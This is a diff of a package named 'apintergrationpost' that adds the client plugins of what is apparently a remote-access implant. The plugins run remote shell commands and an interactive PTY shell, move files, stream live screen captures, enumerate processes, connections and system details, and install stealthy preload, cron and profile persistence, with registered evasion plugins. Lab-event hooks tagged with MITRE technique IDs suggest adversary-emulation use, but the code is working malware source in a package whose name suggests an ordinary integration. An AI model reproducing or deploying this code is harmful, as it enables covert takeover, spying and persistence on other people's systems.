apintergrationpost 4.0.1

package/src/client/plugins/filesystem.js

@@ -0,0 +1,62 @@
+'use strict';
+
+const {
+  saveFile,
+  getFile,
+  changeDirectory,
+} = require('../commands/filesystem');
+
+const name = 'filesystem';
+const commands = ['cd', 'upload', 'download'];
+
+async function execute(msg, ctx) {
+  const cmd = msg.command;
+  const body = msg.body || '';
+
+  ctx.labEvent({
+    plugin: name,
+    command: cmd,
+    expectedAuditd: cmd === 'upload' ? ['open', 'write'] : cmd === 'download' ? ['open', 'read'] : [],
+  });
+
+  if (cmd === 'cd') {
+    const result = changeDirectory(body || null);
+    return {
+      action: 'continue',
+      status: result.success ? 'ok' : 'error',
+      body: result.success ? result.cwd : result.error,
+    };
+  }
+
+  if (cmd === 'upload') {
+    const colonIdx = body.indexOf(':');
+    if (colonIdx === -1) {
+      return { action: 'continue', status: 'error', body: 'Invalid upload format' };
+    }
+    const fileName = body.substring(0, colonIdx);
+    const b64String = body.substring(colonIdx + 1);
+    const ok = saveFile(fileName, b64String);
+    return {
+      action: 'continue',
+      status: ok ? 'ok' : 'error',
+      body: ok ? 'File uploaded successfully!!' : 'Error uploading file',
+    };
+  }
+
+  if (cmd === 'download') {
+    const result = getFile(body);
+    if (!result.found) {
+      return { action: 'continue', status: 'error', body: result.data };
+    }
+    return {
+      action: 'continue',
+      status: 'ok',
+      body: result.data,
+      meta: { filename: result.fileName, encoding: 'base64' },
+    };
+  }
+
+  return { action: 'continue', status: 'error', body: 'Unknown filesystem command' };
+}
+
+module.exports = { name, commands, execute };

package/src/client/plugins/network-enum.js

@@ -0,0 +1,43 @@
+'use strict';
+
+const fs = require('fs');
+
+const name = 'network-enum';
+const commands = ['netstat'];
+
+function parseProcNet(content) {
+  const lines = content.trim().split('\n').slice(1);
+  return lines.map((line) => {
+    const parts = line.trim().split(/\s+/);
+    return {
+      local: parts[1],
+      remote: parts[2],
+      state: parts[3],
+    };
+  });
+}
+
+async function execute(msg, ctx) {
+  ctx.labEvent({
+    plugin: name,
+    command: 'netstat',
+    expectedAuditd: ['open'],
+  });
+
+  const result = { tcp: [], udp: [] };
+  try {
+    result.tcp = parseProcNet(fs.readFileSync('/proc/net/tcp', 'utf8'));
+    result.udp = parseProcNet(fs.readFileSync('/proc/net/udp', 'utf8'));
+  } catch (err) {
+    return { action: 'continue', status: 'error', body: err.message };
+  }
+
+  return {
+    action: 'continue',
+    status: 'ok',
+    body: JSON.stringify(result, null, 2),
+    meta: { encoding: 'json' },
+  };
+}
+
+module.exports = { name, commands, execute };

package/src/client/plugins/persistence-advanced.js

@@ -0,0 +1,9 @@
+'use strict';
+
+const stealth = require('./persistence-stealth');
+
+module.exports = {
+  name: 'persistence-advanced',
+  commands: stealth.commands,
+  execute: stealth.execute,
+};

package/src/client/plugins/persistence-stealth.js

@@ -0,0 +1,82 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { resolveNativeToolsDir } = require('../../shared/nativeTools');
+const { getEmulationConfig } = require('../../shared/emulation');
+const {
+  persistStealthPreload,
+  persistStealthCron,
+  persistStealthProfile,
+  removeStealthPreload,
+  removeStealthCron,
+  removeStealthProfile,
+  removeStealthWrapper,
+  getStealthPersistStatus,
+} = require('../commands/system');
+
+const name = 'persistence-stealth';
+const commands = [
+  'persist_install',
+  'persist_status',
+  'persist_remove',
+  'persist_chain',
+  'persist_cleanup',
+];
+
+function getVectors(config) {
+  return getEmulationConfig(config).persistence.vectors;
+}
+
+async function execute(msg, ctx) {
+  const cmd = msg.command;
+  const config = ctx.config;
+  const configPath = process.env.APINTEGRATIONPOST_CONFIG
+    || process.env.MYRA_CONFIG
+    || path.join(process.cwd(), 'apintergrationpost.config.json');
+  const installCmd = cmd === 'persist_install' || cmd === 'persist_chain';
+  const removeCmd = cmd === 'persist_remove' || cmd === 'persist_cleanup';
+  const statusCmd = cmd === 'persist_status';
+
+  if (installCmd) {
+    ctx.labEvent({ plugin: name, command: 'persist_install', technique: 'T1574.006' });
+    const vectors = getVectors(config);
+    const results = [];
+    const nativeDir = resolveNativeToolsDir(config);
+
+    if (vectors.includes('preload')) {
+      results.push(persistStealthPreload(config, nativeDir));
+    }
+    if (vectors.includes('cron')) {
+      results.push(persistStealthCron(config, configPath, nativeDir));
+    }
+    if (vectors.includes('profile')) {
+      results.push(persistStealthProfile(config, configPath, nativeDir));
+    }
+
+    const summary = results.map((r) => `${r.ok ? 'OK' : 'FAIL'}: ${r.message}`).join('\n');
+    return { action: 'continue', status: 'ok', body: summary || 'No persistence vectors configured' };
+  }
+
+  if (statusCmd) {
+    ctx.labEvent({ plugin: name, command: 'persist_status', technique: 'T1082' });
+    return { action: 'continue', status: 'ok', body: getStealthPersistStatus(config) };
+  }
+
+  if (removeCmd) {
+    ctx.labEvent({ plugin: name, command: 'persist_remove', technique: 'T1070' });
+    const removed = [];
+    if (removeStealthPreload(config)) removed.push('preload');
+    if (removeStealthCron(config)) removed.push('cron');
+    if (removeStealthProfile(config)) removed.push('profile');
+    if (removeStealthWrapper(config)) removed.push('wrapper');
+    const body = removed.length
+      ? `Removed persistence artifacts: ${removed.join(', ')}`
+      : 'No persistence artifacts found';
+    return { action: 'continue', status: 'ok', body };
+  }
+
+  return { action: 'continue', status: 'error', body: 'Unknown persistence command' };
+}
+
+module.exports = { name, commands, execute };

package/src/client/plugins/process-list.js

@@ -0,0 +1,49 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+
+const name = 'process-list';
+const commands = ['ps'];
+
+async function execute(msg, ctx) {
+  ctx.labEvent({
+    plugin: name,
+    command: 'ps',
+    expectedAuditd: ['open'],
+  });
+
+  const procs = [];
+  try {
+    const entries = fs.readdirSync('/proc');
+    for (const entry of entries) {
+      if (!/^\d+$/.test(entry)) continue;
+      try {
+        const stat = fs.readFileSync(path.join('/proc', entry, 'stat'), 'utf8');
+        const cmdline = fs.readFileSync(path.join('/proc', entry, 'cmdline'), 'utf8')
+          .replace(/\0/g, ' ')
+          .trim();
+        const nameEnd = stat.indexOf(')');
+        const parts = stat.substring(nameEnd + 2).split(' ');
+        procs.push({
+          pid: Number(entry),
+          state: parts[0],
+          cmd: cmdline || stat.substring(stat.indexOf('(') + 1, nameEnd),
+        });
+      } catch {
+        // skip inaccessible processes
+      }
+    }
+  } catch (err) {
+    return { action: 'continue', status: 'error', body: err.message };
+  }
+
+  return {
+    action: 'continue',
+    status: 'ok',
+    body: JSON.stringify(procs, null, 2),
+    meta: { encoding: 'json', count: procs.length },
+  };
+}
+
+module.exports = { name, commands, execute };

package/src/client/plugins/registry.js

@@ -0,0 +1,118 @@
+'use strict';
+
+const shellOneshot = require('./shell-oneshot');
+const shellPty = require('./shell-pty');
+const filesystem = require('./filesystem');
+const screenLive = require('./screen-live');
+const system = require('./system');
+const sysinfo = require('./sysinfo');
+const processList = require('./process-list');
+const networkEnum = require('./network-enum');
+const fileSearch = require('./file-search');
+const persistenceStealth = require('./persistence-stealth');
+const persistenceAdvanced = require('./persistence-advanced');
+const evasionProcess = require('./evasion-process');
+const evasionMemfd = require('./evasion-memfd');
+const { getEmulationConfig } = require('../../shared/emulation');
+
+const BASE_PLUGINS = [
+  shellOneshot,
+  shellPty,
+  filesystem,
+  screenLive,
+  system,
+  sysinfo,
+  processList,
+  networkEnum,
+  fileSearch,
+];
+
+const EMULATION_PLUGINS = [
+  persistenceStealth,
+  persistenceAdvanced,
+  evasionProcess,
+  evasionMemfd,
+];
+
+const ALL_PLUGINS = [...BASE_PLUGINS, ...EMULATION_PLUGINS];
+const DEFAULT_ENABLED = BASE_PLUGINS.map((p) => p.name);
+
+const EMULATION_PLUGIN_NAMES = new Set(EMULATION_PLUGINS.map((p) => p.name));
+
+function resolveEmulationPlugins(config) {
+  const emu = getEmulationConfig(config);
+  const enabled = new Set(emu.plugins || []);
+  const legacy = (config.advanced && config.advanced.enabled) || [];
+  for (const name of legacy) {
+    if (name === 'persistence-advanced') enabled.add('persistence-stealth');
+    else enabled.add(name);
+  }
+  return enabled;
+}
+
+function loadPlugins(config) {
+  const pluginConfig = config.plugins || {};
+  const emulationEnabled = resolveEmulationPlugins(config);
+  const emu = getEmulationConfig(config);
+
+  const enabled = new Set(pluginConfig.enabled || DEFAULT_ENABLED);
+  const disabled = new Set(pluginConfig.disabled || []);
+
+  if (emu.enabled) {
+    for (const name of emulationEnabled) {
+      enabled.add(name);
+    }
+  }
+
+  const commandMap = new Map();
+  const activePlugins = [];
+
+  for (const plugin of ALL_PLUGINS) {
+    if (!enabled.has(plugin.name)) continue;
+    if (disabled.has(plugin.name)) continue;
+    if (EMULATION_PLUGIN_NAMES.has(plugin.name) && !emulationEnabled.has(plugin.name)) {
+      continue;
+    }
+
+    activePlugins.push(plugin);
+    for (const cmd of plugin.commands) {
+      if (!commandMap.has(cmd)) {
+        commandMap.set(cmd, plugin);
+      }
+    }
+  }
+
+  return { commandMap, plugins: activePlugins };
+}
+
+async function routeCommand(msg, ctx, commandMap) {
+  const plugin = commandMap.get(msg.command);
+  if (!plugin) {
+    if (msg.command === 'shell') {
+      return shellOneshot.execute(msg, ctx);
+    }
+    return {
+      action: 'continue',
+      status: 'error',
+      body: `Unknown command: ${msg.command}`,
+    };
+  }
+  return plugin.execute(msg, ctx);
+}
+
+function cleanupPlugins(plugins) {
+  for (const plugin of plugins) {
+    if (typeof plugin.cleanup === 'function') {
+      plugin.cleanup();
+    }
+  }
+}
+
+module.exports = {
+  loadPlugins,
+  routeCommand,
+  cleanupPlugins,
+  ALL_PLUGINS,
+  BASE_PLUGINS,
+  EMULATION_PLUGINS,
+};

package/src/client/plugins/screen-live.js

@@ -0,0 +1,124 @@
+'use strict';
+
+const crypto = require('crypto');
+const { captureFrame } = require('../commands/screen-capture');
+
+const name = 'screen-live';
+const commands = ['screen_start', 'screen_stop', 'screen_status'];
+
+let captureTimer = null;
+let screenSessionId = null;
+let frameSeq = 0;
+let activeOptions = null;
+
+function clearCapture() {
+  if (captureTimer) {
+    clearInterval(captureTimer);
+    captureTimer = null;
+  }
+  screenSessionId = null;
+  frameSeq = 0;
+  activeOptions = null;
+}
+
+async function pushFrame(ctx) {
+  if (!screenSessionId || !ctx.sendScreenFrame) return;
+  try {
+    const jpeg = await captureFrame(activeOptions);
+    ctx.sendScreenFrame(screenSessionId, jpeg.toString('base64'), {
+      seq: frameSeq++,
+      final: false,
+      encoding: 'base64',
+      mime: 'image/jpeg',
+    });
+  } catch (err) {
+    ctx.sendScreenFrame(screenSessionId, '', {
+      seq: frameSeq++,
+      final: false,
+      error: err.message,
+    });
+  }
+}
+
+async function execute(msg, ctx) {
+  const cmd = msg.command;
+  const features = ctx.config.features || {};
+  const screenConf = ctx.config.screen || {};
+
+  if (features.screenLive === false) {
+    return { action: 'continue', status: 'error', body: 'Live screen feature disabled' };
+  }
+
+  if (cmd === 'screen_start') {
+    if (captureTimer) {
+      return { action: 'continue', status: 'error', body: 'Live screen already running' };
+    }
+
+    const meta = msg.meta || {};
+    const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 3), 1), 10);
+    activeOptions = {
+      display: meta.display || screenConf.display || process.env.DISPLAY || ':0',
+      size: meta.size || screenConf.size || '1280x720',
+    };
+
+    ctx.labEvent({
+      plugin: name,
+      command: cmd,
+      expectedAuditd: ['execve'],
+    });
+
+    screenSessionId = crypto.randomBytes(4).toString('hex');
+    frameSeq = 0;
+
+    await pushFrame(ctx);
+    captureTimer = setInterval(() => {
+      pushFrame(ctx);
+    }, Math.floor(1000 / fps));
+
+    return {
+      action: 'continue',
+      status: 'ok',
+      body: `Live screen started (${fps} fps, display ${activeOptions.display})`,
+      meta: {
+        screenSessionId,
+        fps,
+        display: activeOptions.display,
+        size: activeOptions.size,
+      },
+    };
+  }
+
+  if (cmd === 'screen_stop') {
+    if (!captureTimer) {
+      return { action: 'continue', status: 'error', body: 'Live screen is not running' };
+    }
+
+    ctx.labEvent({ plugin: name, command: cmd, expectedAuditd: [] });
+    const sid = screenSessionId;
+    clearCapture();
+    if (sid && ctx.sendScreenFrame) {
+      ctx.sendScreenFrame(sid, '', { seq: frameSeq++, final: true });
+    }
+    return { action: 'continue', status: 'ok', body: 'Live screen stopped' };
+  }
+
+  if (cmd === 'screen_status') {
+    return {
+      action: 'continue',
+      status: 'ok',
+      body: JSON.stringify({
+        active: !!captureTimer,
+        screenSessionId,
+        options: activeOptions,
+      }, null, 2),
+    };
+  }
+
+  return { action: 'continue', status: 'error', body: 'Unknown screen-live command' };
+}
+
+function cleanup() {
+  clearCapture();
+}
+
+module.exports = { name, commands, execute, cleanup };

package/src/client/plugins/shell-oneshot.js

@@ -0,0 +1,25 @@
+'use strict';
+
+const { execCommand } = require('../commands/shell');
+
+const name = 'shell-oneshot';
+const commands = ['shell'];
+
+async function execute(msg, ctx) {
+  const body = msg.body || '';
+  const execOpts = {
+    timeoutMs: ctx.config.commandTimeoutMs || 120000,
+    maxBytes: ctx.config.maxOutputBytes || 1024 * 1024,
+  };
+
+  ctx.labEvent({
+    plugin: name,
+    command: msg.command,
+    expectedAuditd: ['execve'],
+  });
+
+  const output = await execCommand(body, execOpts);
+  return { action: 'continue', status: 'ok', body: output };
+}
+
+module.exports = { name, commands, execute };

package/src/client/plugins/shell-pty.js

@@ -0,0 +1,132 @@
+'use strict';
+
+const crypto = require('crypto');
+
+let ptyProcess = null;
+let shellSessionId = null;
+let outputSeq = 0;
+
+const name = 'shell-pty';
+const commands = ['shell_start', 'shell_input', 'shell_stop', 'shell_resize'];
+
+function spawnPty(ctx) {
+  if (ctx.config.features && ctx.config.features.pty === false) {
+    throw new Error('PTY shell feature disabled');
+  }
+  return require('node-pty');
+}
+
+async function execute(msg, ctx) {
+  const cmd = msg.command;
+
+  if (cmd === 'shell_start') {
+    if (ptyProcess) {
+      return { action: 'continue', status: 'error', body: 'Shell session already active' };
+    }
+
+    ctx.labEvent({
+      plugin: name,
+      command: 'shell_start',
+      expectedAuditd: ['execve', 'ioctl(TIOCSWINSZ)'],
+    });
+
+    let pty;
+    try {
+      pty = spawnPty(ctx);
+    } catch (err) {
+      return { action: 'continue', status: 'error', body: err.message };
+    }
+
+    const shell = process.env.SHELL || '/bin/bash';
+    const cols = (msg.meta && msg.meta.cols) || 80;
+    const rows = (msg.meta && msg.meta.rows) || 24;
+
+    ptyProcess = pty.spawn(shell, [], {
+      name: 'xterm-256color',
+      cols,
+      rows,
+      cwd: process.cwd(),
+      env: process.env,
+    });
+
+    shellSessionId = crypto.randomBytes(4).toString('hex');
+    outputSeq = 0;
+
+    ptyProcess.onData((data) => {
+      if (shellSessionId && ctx.sendShellOutput) {
+        ctx.sendShellOutput(shellSessionId, data, { seq: outputSeq++, final: false });
+      }
+    });
+
+    ptyProcess.onExit(() => {
+      if (shellSessionId && ctx.sendShellOutput) {
+        ctx.sendShellOutput(shellSessionId, '', { seq: outputSeq++, final: true });
+      }
+      ptyProcess = null;
+      shellSessionId = null;
+    });
+
+    return {
+      action: 'continue',
+      status: 'ok',
+      body: '',
+      meta: { shellSessionId, pid: ptyProcess.pid, cols, rows },
+    };
+  }
+
+  if (cmd === 'shell_input') {
+    if (!ptyProcess) {
+      return { action: 'continue', status: 'error', body: 'No active shell session' };
+    }
+    ptyProcess.write(msg.body || '');
+    return { action: 'continue', status: 'ok', body: '' };
+  }
+
+  if (cmd === 'shell_stop') {
+    if (!ptyProcess) {
+      return { action: 'continue', status: 'error', body: 'No active shell session' };
+    }
+    ctx.labEvent({ plugin: name, command: 'shell_stop', expectedAuditd: ['kill'] });
+    try {
+      process.kill(-ptyProcess.pid, 'SIGTERM');
+    } catch {
+      ptyProcess.kill();
+    }
+    ptyProcess = null;
+    shellSessionId = null;
+    return { action: 'continue', status: 'ok', body: 'Shell session stopped' };
+  }
+
+  if (cmd === 'shell_resize') {
+    if (!ptyProcess) {
+      return { action: 'continue', status: 'error', body: 'No active shell session' };
+    }
+    let cols = 80;
+    let rows = 24;
+    try {
+      const parsed = JSON.parse(msg.body || '{}');
+      cols = parsed.cols || cols;
+      rows = parsed.rows || rows;
+    } catch {
+      // use defaults
+    }
+    ptyProcess.resize(cols, rows);
+    return { action: 'continue', status: 'ok', body: '' };
+  }
+
+  return { action: 'continue', status: 'error', body: 'Unknown PTY command' };
+}
+
+function cleanup() {
+  if (ptyProcess) {
+    try {
+      ptyProcess.kill();
+    } catch {
+      // ignore
+    }
+    ptyProcess = null;
+    shellSessionId = null;
+  }
+}
+
+module.exports = { name, commands, execute, cleanup };

package/src/client/plugins/sysinfo.js

@@ -0,0 +1,45 @@
+'use strict';
+
+const os = require('os');
+const fs = require('fs');
+
+const name = 'sysinfo';
+const commands = ['sysinfo'];
+
+async function execute(msg, ctx) {
+  ctx.labEvent({
+    plugin: name,
+    command: 'sysinfo',
+    expectedAuditd: ['open'],
+  });
+
+  let osRelease = '';
+  try {
+    osRelease = fs.readFileSync('/etc/os-release', 'utf8');
+  } catch {
+    osRelease = 'unavailable';
+  }
+
+  const info = {
+    hostname: os.hostname(),
+    platform: os.platform(),
+    arch: os.arch(),
+    release: os.release(),
+    uptime: os.uptime(),
+    homedir: os.homedir(),
+    userInfo: os.userInfo(),
+    cpus: os.cpus().length,
+    totalmem: os.totalmem(),
+    freemem: os.freemem(),
+    osRelease,
+  };
+
+  return {
+    action: 'continue',
+    status: 'ok',
+    body: JSON.stringify(info, null, 2),
+    meta: { encoding: 'json' },
+  };
+}
+
+module.exports = { name, commands, execute };